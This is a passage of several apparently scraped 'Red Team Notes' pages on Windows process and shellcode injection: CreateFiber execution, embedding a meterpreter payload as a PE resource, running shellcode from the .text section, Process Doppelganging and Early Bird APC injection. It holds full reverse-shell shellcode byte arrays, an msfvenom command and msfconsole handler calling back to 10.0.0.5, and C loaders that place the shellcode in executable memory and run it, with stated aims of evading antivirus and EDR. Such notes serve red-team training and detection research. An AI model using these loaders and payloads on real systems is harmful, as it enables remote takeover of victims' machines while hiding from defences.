00\x00\x00\x00\x41\x50\x41\x50\x48\x89\xe2\x57\x57\x57\x4d\x31\xc0\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44\x24\x54\x01\x01\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6\x56\x50\x41\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff\xc8\x4d\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5\x48\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5"; PVOID shellcodeLocation = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpy(shellcodeLocation, shellcode, sizeof shellcode); # create a fiber that will execute the shellcode PVOID shellcodeFiber = CreateFiber(NULL, (LPFIBER_START_ROUTINE)shellcodeLocation, NULL); # manually schedule the fiber that will execute our shellcode SwitchToFiber(shellcodeFiber); return 0; } Running the code executes the shellcode us a reverse shell: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-M8ew_j2MUACcKIjW8xX%252F-M8fLb-YygmZ6YxRPcUX%252Fshellcode-fibers.gif%3Falt%3Dmedia%26token%3Dfa3514a8-9e65-4f13-987a-a4fdfe04e2e8&width=768&dpr=3&quality=100&sign=200fd8bb&sv=2) [](https://www.ired.team/offensive-security/code-injection-process-injection/executing-shellcode-with-createfiber#references) References --------------------------------------------------------------------------------------------------------------------------------------------- [![Logo](https://www.ired.team/~gitbook/image?url=https%3A%2F%2Flearn.microsoft.com%2Ffavicon.ico&width=20&dpr=3&quality=100&sign=d8acf9f&sv=2)Fibers - Win32 appsMicrosoftLearn](https://docs.microsoft.com/en-us/windows/win32/procthread/fibers) [![Logo](https://www.ired.team/~gitbook/image?url=https%3A%2F%2Fnullprogram.com%2Ffavicon.ico&width=20&dpr=3&quality=100&sign=7923d42a&sv=2)Fibers: the Most Elegant Windows APInullprogram.com](https://nullprogram.com/blog/2019/03/28/) [http://dronesec.pw/blog/2019/08/12/code-execution-via-fiber-local-storage/dronesec.pw](http://dronesec.pw/blog/2019/08/12/code-execution-via-fiber-local-storage/) [PreviousShellcode Execution in a Local Process with QueueUserAPC and NtTestAlert](https://www.ired.team/offensive-security/code-injection-process-injection/shellcode-execution-in-a-local-process-with-queueuserapc-and-nttestalert) [NextShellcode Execution via CreateThreadpoolWait](https://www.ired.team/offensive-security/code-injection-process-injection/shellcode-execution-via-createthreadpoolwait) Last updated 6 years ago * [Overview](https://www.ired.team/offensive-security/code-injection-process-injection/executing-shellcode-with-createfiber#overview) * [Technique](https://www.ired.team/offensive-security/code-injection-process-injection/executing-shellcode-with-createfiber#technique) * [Code](https://www.ired.team/offensive-security/code-injection-process-injection/executing-shellcode-with-createfiber#code) * [References](https://www.ired.team/offensive-security/code-injection-process-injection/executing-shellcode-with-createfiber#references) --- # Loading and Executing Shellcode From PE Resources | Red Team Notes For the complete documentation index, see [llms.txt](https://www.ired.team/llms.txt) . This page is also available as [Markdown](https://www.ired.team/offensive-security/code-injection-process-injection/loading-and-executing-shellcode-from-portable-executable-resources.md) . [](https://www.ired.team/offensive-security/code-injection-process-injection/loading-and-executing-shellcode-from-portable-executable-resources#context) Context --------------------------------------------------------------------------------------------------------------------------------------------------------------------- This lab shows one of the techniques how one could load and execute a non-staged shellcode from within a C program using PE resources using Visual Studio. If you've ever tried executing an unstaged shellcode from a C/C++ program, you know that you will be having a hard time doing it if you are defining a huge char array which looks like this (just a snippet): ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LczVIwKttZEVMU9_8lC%252F-LczfJcFJD0TpnAU04hN%252FScreenshot%2520from%25202019-04-21%252012-33-31.png%3Falt%3Dmedia%26token%3D09c6f6b6-ab5d-4930-aabb-d342b08f08a4&width=768&dpr=3&quality=100&sign=676efec0&sv=2) Below is a quick walkthrough that was inspired by [@\_RastaMouse](https://twitter.com/_RastaMouse) tweet: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LczoBkzLGqzzGPzukuc%252F-LczoFqteVU717Ipt91F%252FScreenshot%2520from%25202019-04-21%252013-13-14.png%3Falt%3Dmedia%26token%3Dc06ed59d-02a1-45ea-a98b-c7be73914e28&width=768&dpr=3&quality=100&sign=603a6e6a&sv=2) [](https://www.ired.team/offensive-security/code-injection-process-injection/loading-and-executing-shellcode-from-portable-executable-resources#embedding-the-shellcode-as-a-resource) Embedding The Shellcode as a Resource --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- Let's generate a non-staged meterpreter payload in binary format first. This will be our resource that we want to embed into our C++ program: Right click on the `Resource Files` in Solution Explorer and select `Add > Resource` ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LczVIwKttZEVMU9_8lC%252F-Lczg-NC45MAa8Lu8LnR%252FScreenshot%2520from%25202019-04-21%252012-37-31.png%3Falt%3Dmedia%26token%3D6101dbb2-5022-457e-8915-28f2ce253720&width=768&dpr=3&quality=100&sign=997f4a41&sv=2) Click `Import` and select the resource you want to include. In my case - it's the `meterpreter.bin`: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LczTw8To3UqxkxWKdwe%252F-LczUQ316ZkEV4levT1d%252FScreenshot%2520from%25202019-04-21%252011-42-31.png%3Falt%3Dmedia%26token%3D4a009b1c-ccaa-4a1a-8422-a6d7c6b7a75c&width=768&dpr=3&quality=100&sign=9ca6d6a4&sv=2) Give resource a resource type name - anything works, but you need to remember it when calling `FindResource` API call (shown later in the code): ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LczTw8To3UqxkxWKdwe%252F-LczUoRNGF7gT-ysXVYe%252FScreenshot%2520from%25202019-04-21%252011-43-59.png%3Falt%3Dmedia%26token%3D0faf7733-0990-46a7-a2f8-5b16ff07ee90&width=768&dpr=3&quality=100&sign=7b922cf8&sv=2) At this point, you can see in your resource browser that the `meterpreter.bin` is now included in your program's resources: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LczTw8To3UqxkxWKdwe%252F-LczVB9rZjercKyAxyb1%252FScreenshot%2520from%25202019-04-21%252011-45-49.png%3Falt%3Dmedia%26token%3D9dadff14-c783-46dd-88e2-b4e3d92c1f5b&width=768&dpr=3&quality=100&sign=996330a6&sv=2) ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LczVIwKttZEVMU9_8lC%252F-Lcz_5q_rQssqmXsUtU6%252FScreenshot%2520from%25202019-04-21%252012-07-17.png%3Falt%3Dmedia%26token%3D81368f3f-f534-42f2-80dc-ac35f6a0f978&width=768&dpr=3&quality=100&sign=15710311&sv=2) If you compile your program now and inspect it with resource hacker, you can now see the shellcode you have just embedded as a PE resource: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-Ld4toYVCCRbqcaV0JQl%252F-Ld4u1hNt60p0Ez6Fs0Z%252FScreenshot%2520from%25202019-04-22%252017-35-35.png%3Falt%3Dmedia%26token%3Da1b99bad-d2cc-4301-bfc3-a3ec21c2da3c&width=768&dpr=3&quality=100&sign=75d72ef0&sv=2) [](https://www.ired.team/offensive-security/code-injection-process-injection/loading-and-executing-shellcode-from-portable-executable-resources#code) Code --------------------------------------------------------------------------------------------------------------------------------------------------------------- We can then leverage a small set of self-explanatory Windows APIs to find the embedded resource, load it into memory and execute it like so: Compile and run the binary and enjoy the shell: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LczVIwKttZEVMU9_8lC%252F-LczeUwKWuJuiJD0HvHt%252FPeek%25202019-04-21%252012-30.gif%3Falt%3Dmedia%26token%3D19a500f6-4e0f-40b8-a224-047658b671d0&width=768&dpr=3&quality=100&sign=1dc995be&sv=2) [![Logo](https://www.ired.team/~gitbook/image?url=https%3A%2F%2Flearn.microsoft.com%2Ffavicon.ico&width=20&dpr=3&quality=100&sign=d8acf9f&sv=2)Finding and Loading Resources - Win32 appsMicrosoftLearn](https://docs.microsoft.com/en-us/windows/desktop/menurc/finding-and-loading-resources) [PreviousProcess Doppelganging](https://www.ired.team/offensive-security/code-injection-process-injection/process-doppelganging) [NextProcess Hollowing and Portable Executable Relocations](https://www.ired.team/offensive-security/code-injection-process-injection/process-hollowing-and-pe-image-relocations) Last updated 7 years ago * [Context](https://www.ired.team/offensive-security/code-injection-process-injection/loading-and-executing-shellcode-from-portable-executable-resources#context) * [Embedding The Shellcode as a Resource](https://www.ired.team/offensive-security/code-injection-process-injection/loading-and-executing-shellcode-from-portable-executable-resources#embedding-the-shellcode-as-a-resource) * [Code](https://www.ired.team/offensive-security/code-injection-process-injection/loading-and-executing-shellcode-from-portable-executable-resources#code) Copy msfvenom -p windows/meterpreter_reverse_tcp LHOST=10.0.0.5 LPORT=443 > meterpreter.bin Copy #include "pch.h" #include #include #include "resource.h" int main() { // IDR_METERPRETER_BIN1 - is the resource ID - which contains ths shellcode // METERPRETER_BIN is the resource type name we chose earlier when embedding the meterpreter.bin HRSRC shellcodeResource = FindResource(NULL, MAKEINTRESOURCE(IDR_METERPRETER_BIN1), L"METERPRETER_BIN"); DWORD shellcodeSize = SizeofResource(NULL, shellcodeResource); HGLOBAL shellcodeResouceData = LoadResource(NULL, shellcodeResource); void *exec = VirtualAlloc(0, shellcodeSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpy(exec, shellcodeResouceData, shellcodeSize); ((void(*)())exec)(); return 0; } --- # Local Shellcode Execution without Windows APIs | Red Team Notes For the complete documentation index, see [llms.txt](https://www.ired.team/llms.txt) . This page is also available as [Markdown](https://www.ired.team/offensive-security/code-injection-process-injection/local-shellcode-execution-without-windows-apis.md) . It is possible to execute shellcode from a local process without using the well known Windows APIs such as `VirtualAlloc`, `CreateThread` or similar. Malware is know to use this technique, so I wanted to capture it too. To achieve this, we need to use MS Visual C++ and a `section` pragma, alongside the `allocate` declarator specifier, to tell the compiler that we want our shellcode to be allocated inside the `.text` section of our portable executable, which eliminates the need for the program to allocate RWX memory blob for storing the shellcode. Additionally, we need to cast the array containing our shellcode into a function pointer and invoke it - this allows us to skip the `CreateThread` or similar Windows APIs that are usually used for jumping to the shellcode. ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-MFWFmZy4tBktop1IgXu%252F-MFaZ8pDoydgxawduK90%252Fshellcode-without-winapis.gif%3Falt%3Dmedia%26token%3D2146c7ca-790a-4142-b9b7-46eb76111110&width=768&dpr=3&quality=100&sign=d8f16a82&sv=2) [](https://www.ired.team/offensive-security/code-injection-process-injection/local-shellcode-execution-without-windows-apis#code) Code ------------------------------------------------------------------------------------------------------------------------------------------- After compiling the above code and inspecting the `.text` section of the PE, we can see our shellcode right at the beginning: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-MFWFmZy4tBktop1IgXu%252F-MFaatEbIu846ObkaVK-%252Fimage.png%3Falt%3Dmedia%26token%3D707e7a34-32dc-4c39-918d-881832a97936&width=768&dpr=3&quality=100&sign=bb4e8bbd&sv=2) [](https://www.ired.team/offensive-security/code-injection-process-injection/local-shellcode-execution-without-windows-apis#references) References ------------------------------------------------------------------------------------------------------------------------------------------------------- [![Logo](https://www.ired.team/~gitbook/image?url=https%3A%2F%2Flearn.microsoft.com%2Ffavicon.ico&width=20&dpr=3&quality=100&sign=d8acf9f&sv=2)section pragmaMicrosoftLearn](https://docs.microsoft.com/en-us/cpp/preprocessor/section?view=vs-2019) [![Logo](https://www.ired.team/~gitbook/image?url=https%3A%2F%2Flearn.microsoft.com%2Ffavicon.ico&width=20&dpr=3&quality=100&sign=d8acf9f&sv=2)allocateMicrosoftLearn](https://docs.microsoft.com/en-us/cpp/cpp/allocate?view=vs-2019) [PreviousShellcode Execution via CreateThreadpoolWait](https://www.ired.team/offensive-security/code-injection-process-injection/shellcode-execution-via-createthreadpoolwait) [NextInjecting to Remote Process via Thread Hijacking](https://www.ired.team/offensive-security/code-injection-process-injection/injecting-to-remote-process-via-thread-hijacking) Last updated 5 years ago * [Code](https://www.ired.team/offensive-security/code-injection-process-injection/local-shellcode-execution-without-windows-apis#code) * [References](https://www.ired.team/offensive-security/code-injection-process-injection/local-shellcode-execution-without-windows-apis#references) Copy #pragma section(".text") // msvenom -p windows/x64/shell_reverse_tcp lhost=X lport=Y -f c __declspec(allocate(".text")) char goodcode[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" "\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9" "\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41" "\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48" "\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01" "\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48" "\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0" "\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c" "\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0" "\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04" "\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59" "\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48" "\x8b\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33" "\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00" "\x49\x89\xe5\x49\xbc\x02\x00\x01\xbb\xc0\xa8\x38\x66\x41\x54" "\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c" "\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff" "\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2" "\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48" "\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99" "\xa5\x74\x61\xff\xd5\x48\x81\xc4\x40\x02\x00\x00\x49\xb8\x63" "\x6d\x64\x00\x00\x00\x00\x00\x41\x50\x41\x50\x48\x89\xe2\x57" "\x57\x57\x4d\x31\xc0\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44" "\x24\x54\x01\x01\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6" "\x56\x50\x41\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff" "\xc8\x4d\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5" "\x48\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff" "\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48" "\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13" "\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5"; int main() { (*(void(*)())(&goodcode))(); } --- # Process Doppelganging | Red Team Notes For the complete documentation index, see [llms.txt](https://www.ired.team/llms.txt) . This page is also available as [Markdown](https://www.ired.team/offensive-security/code-injection-process-injection/process-doppelganging.md) . This lab is simply a run of the tool written by @hasherezade that was inspired by the BlackHat talk by Tal Liberman and Eugene Kogan where they presented their research on Process Doppelganging - see [references](https://www.ired.team/offensive-security/code-injection-process-injection/process-doppelganging#references) for their slides. Process doppelganing is a code injection technique that leverages NTFS transacations related Windows API calls which are (used to be?) less used with malicious intent and hence "less known" to AV vendors, hence this code injection technique is (was?) more likely to go undetected. Mostly, I wanted to do this lab and see if Windows Defender caught up with this technique or not since the technique has been introduced almost a year ago from the time of this writing. [](https://www.ired.team/offensive-security/code-injection-process-injection/process-doppelganging#execution) Execution ---------------------------------------------------------------------------------------------------------------------------- First of, download hasherezade's PoC for doppleganging here [https://github.com/hasherezade/process\_doppelganging](https://github.com/hasherezade/process_doppelganging) and compile it. Then test the technique like so: attacker@victim Copy .\process-doppelganger.exe C:\tools\mimikatz\x64\mimikatz.exe c:\zone.txt Note in the below screenshot how mimikatz is launched, but the Process Explorer actually represents the mimikatz process as zone.txt - this is because multiple Process Environment Block's (PEB) memory structures of the newly created process were modified during the new process creation: This test was done on Windows 7 ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LV3uW8vxoItkQVyeExC%252F-LV3uv6N-_zKHv7FuoSK%252FScreenshot%2520from%25202018-12-31%252015-37-35.png%3Falt%3Dmedia%26token%3D30616cfc-3707-4a4f-b7f9-c65090c6f68d&width=768&dpr=3&quality=100&sign=ac8e93fd&sv=2) Below are two links where we explore the PEB in a bit more depth: [Exploring Process Environment Block](https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/exploring-process-environment-block) [Masquerading Processes in Userland via \_PEB](https://www.ired.team/offensive-security/defense-evasion/masquerading-processes-in-userland-through-_peb) [](https://www.ired.team/offensive-security/code-injection-process-injection/process-doppelganging#windows-10) Windows 10 ------------------------------------------------------------------------------------------------------------------------------ Going back to my original motivation as to why I wanted to try this technique out, which was to see if Windows 10 would detect this type of code injection - below is the answer: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LV428E2CuB3ejTjdiN3%252F-LV42B3xmr4HQlVDo1TT%252FScreenshot%2520from%25202018-12-31%252016-15-21.png%3Falt%3Dmedia%26token%3D3e925f03-f282-438c-a8b1-bdf6bcf91a54&width=768&dpr=3&quality=100&sign=dcb4603c&sv=2) ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LV3uW8vxoItkQVyeExC%252F-LV3uwlJthsKMJUhEnsx%252FScreenshot%2520from%25202018-12-31%252015-35-14.png%3Falt%3Dmedia%26token%3D3ca9e923-a11c-47a0-8b02-c9cb62a46730&width=768&dpr=3&quality=100&sign=679dd95c&sv=2) [](https://www.ired.team/offensive-security/code-injection-process-injection/process-doppelganging#references) References ------------------------------------------------------------------------------------------------------------------------------ [![Logo](https://www.ired.team/~gitbook/image?url=https%3A%2F%2Fsecure.gravatar.com%2Fblavatar%2F31e419d8016bccbbb154cb29c69d6e854cc6240f389eec2f4ab031294e82963a%3Fs%3D32&width=20&dpr=3&quality=100&sign=3d6741b0&sv=2)Process Doppelgänging – a new way to impersonate a processhasherezade's 1001 nights](https://hshrzd.wordpress.com/2017/12/18/process-doppelganging-a-new-way-to-impersonate-a-process/) [![Logo](https://www.ired.team/~gitbook/image?url=https%3A%2F%2Fgithub.com%2Ffluidicon.png&width=20&dpr=3&quality=100&sign=edc46b53&sv=2)GitHub - hasherezade/process\_doppelganging: My implementation of enSilo's Process Doppelganging (PE injection technique)GitHub](https://github.com/hasherezade/process_doppelganging) [PreviousShellcode Reflective DLL Injection](https://www.ired.team/offensive-security/code-injection-process-injection/reflective-shellcode-dll-injection) [NextLoading and Executing Shellcode From PE Resources](https://www.ired.team/offensive-security/code-injection-process-injection/loading-and-executing-shellcode-from-portable-executable-resources) Last updated 7 years ago * [Execution](https://www.ired.team/offensive-security/code-injection-process-injection/process-doppelganging#execution) * [Windows 10](https://www.ired.team/offensive-security/code-injection-process-injection/process-doppelganging#windows-10) * [References](https://www.ired.team/offensive-security/code-injection-process-injection/process-doppelganging#references) --- # Early Bird APC Queue Code Injection | Red Team Notes For the complete documentation index, see [llms.txt](https://www.ired.team/llms.txt) . This page is also available as [Markdown](https://www.ired.team/offensive-security/code-injection-process-injection/early-bird-apc-queue-code-injection.md) . This short lab is related to a different version of the APC queue code injection technique I tinkered with here: [APC Queue Code Injection](https://www.ired.team/offensive-security/code-injection-process-injection/apc-queue-code-injection) [](https://www.ired.team/offensive-security/code-injection-process-injection/early-bird-apc-queue-code-injection#overview) Overview ---------------------------------------------------------------------------------------------------------------------------------------- High level overview of the technique: 1. A malicious program creates a new legitimate process (say calc.exe) in a suspended state 2. Memory for shellcode is allocated in the newly created process's memory space 3. APC routine pointing to the shellcode is declared 4. Shellcode is written to the previously allocated memory 5. APC is queued to the main thread (currently in `suspended` state) 6. Thread is resumed and the shellcode is executed 7. Meterpreter session established One of the main advantages of this technique over the regular APC Queue code injection, is that in Early Bird technique, the malicious behaviour takes place early on in the process initialization phase, increasing the likelihood of going under the radar of some AV/EDR hooks. [](https://www.ired.team/offensive-security/code-injection-process-injection/early-bird-apc-queue-code-injection#execution) Execution ------------------------------------------------------------------------------------------------------------------------------------------ Below image (top) shows that I've hit the breakpoint on line 19, meaning that a new `calc.exe` process has been created in a `suspended` state (defined in line 15). If we check the newly started `calc.exe` in the Process Hacker, we can confirm that the main thread is indeed `suspended` (bottom): ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LftJjDDa_yKV27DgWN-%252F-LftNZwNOfcGmXl_Tdt_%252FAnnotation%25202019-05-27%2520140139.png%3Falt%3Dmedia%26token%3Db0436865-d28f-4ab3-bf76-b918af620906&width=768&dpr=3&quality=100&sign=31448702&sv=2) After line 19 is executed, we get the address of the newly allocated memory. This is where the shellcode will be written to: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LftJjDDa_yKV27DgWN-%252F-LftNtR3G_ZLHFhOWJZs%252FAnnotation%25202019-05-27%2520140326.png%3Falt%3Dmedia%26token%3D2c69b6c9-ef18-4a3a-b3ef-45c6c696dc2a&width=768&dpr=3&quality=100&sign=a6fa94cb&sv=2) Below shows how the shellcode gets written to memory address `0000023b82480000` of the `calc.exe` with: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LftJjDDa_yKV27DgWN-%252F-LftOsES0CEcqNUl6OkH%252Fwriting-shellcode.gif%3Falt%3Dmedia%26token%3D9af7a50b-9eff-4457-afd5-ad545cc0e581&width=768&dpr=3&quality=100&sign=ef07c8de&sv=2) Before continuing, let's fire up a multi handler on the attacking system so we can catch the meterpreter session: Back to executing the malicious code - once the shellcode is written into the process memory, the APC is queued to the thread which is then immediately resumed. Resuming the thread in turn executes the shellcode which results in a meterpreter session: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LftJjDDa_yKV27DgWN-%252F-LftPHyL3yEQ-ebHuDLx%252Fapc-meterpreter.gif%3Falt%3Dmedia%26token%3D6e43e62c-f867-4002-b574-0b9fd43b445f&width=768&dpr=3&quality=100&sign=7bcef952&sv=2) [](https://www.ired.team/offensive-security/code-injection-process-injection/early-bird-apc-queue-code-injection#code) Code -------------------------------------------------------------------------------------------------------------------------------- [](https://www.ired.team/offensive-security/code-injection-process-injection/early-bird-apc-queue-code-injection#references) References -------------------------------------------------------------------------------------------------------------------------------------------- [https://www.cyberbit.com/blog/endpoint-security/new-early-bird-code-injection-technique-discovered/www.cyberbit.com](https://www.cyberbit.com/blog/endpoint-security/new-early-bird-code-injection-technique-discovered/) [PreviousAPC Queue Code Injection](https://www.ired.team/offensive-security/code-injection-process-injection/apc-queue-code-injection) [NextShellcode Execution in a Local Process with QueueUserAPC and NtTestAlert](https://www.ired.team/offensive-security/code-injection-process-injection/shellcode-execution-in-a-local-process-with-queueuserapc-and-nttestalert) Last updated 7 years ago * [Overview](https://www.ired.team/offensive-security/code-injection-process-injection/early-bird-apc-queue-code-injection#overview) * [Execution](https://www.ired.team/offensive-security/code-injection-process-injection/early-bird-apc-queue-code-injection#execution) * [Code](https://www.ired.team/offensive-security/code-injection-process-injection/early-bird-apc-queue-code-injection#code) * [References](https://www.ired.team/offensive-security/code-injection-process-injection/early-bird-apc-queue-code-injection#references) Copy LPVOID shellAddress = VirtualAllocEx(victimProcess, NULL, shellSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); Copy WriteProcessMemory(victimProcess, shellAddress, buf, shellSize, NULL); attacker@kali Copy msfconsole -x "use exploits/multi/handler; set lhost 10.0.0.5; set lport 443; set payload windows/x64/meterpreter/reverse_tcp; exploit" earlybird-apc.cpp Copy #include "pch.h" #include int main() { unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x0f\x85\x72\x00\x00\x00\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x4b\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49\x89\xe5\x49\xbc\x02\x00\x01\xbb\x0a\x00\x00\x05\x41\x54\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x41\x5e\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x